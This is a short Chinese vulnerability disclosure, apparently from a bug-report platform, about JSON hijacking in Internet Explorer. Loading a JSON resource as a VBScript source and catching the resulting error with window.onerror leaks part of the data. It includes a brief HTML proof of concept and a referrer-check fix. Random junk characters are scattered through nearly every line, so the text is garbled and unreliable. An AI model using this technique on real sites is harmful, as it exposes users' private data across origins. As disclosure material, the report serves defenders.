简要描述:% Y4 y- l2 m. T' H
: Q) a- T' ]) d1 u7 m* e由于某些资源容器对数据处理不当导致json劫持漏洞.& N R' \$ H( C$ D- T& I& j! X
详细说明:
2 F6 R, l; a) ^# W' o& g3 }由于ie支持vbscript,所以script元素可以指定成vbscript语言:! \2 @4 x! N$ r& }3 u4 m
<script language=vbscript></script>1 C6 B6 b: ^. p) Z' D. v* W
+ x- |* Z6 t8 R6 j0 T4 H当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.$ B2 A }0 |" L# }' s G
漏洞证明:' D$ K, ^# g3 s( \; x' _1 U
<script>
- q: ?7 G. q# j% fwindow.onerror=function(_){
8 Z: i$ r& ]2 n W& m" J. ialert(_)
9 O8 M, g' @% o d}
. p t# I% k; X8 E8 g</script>5 `+ m; k5 z7 p( B9 Q
<script language=vbscript src=1.json></script>
4 w* J$ h* t0 k( [" Y Z1 s+ ^
' Z, H! W) U/ q: T ! `, P! D! T; L
1.json: ?9 O% W$ q& C8 M; P( L6 ^
[{"name":"sogili","age":19}]! b: A: B* A; C) Q
修复方案:
/ X) s5 G t: v0 S网站业务对于这个问题可以通过验证referrer是否为同源来防御 |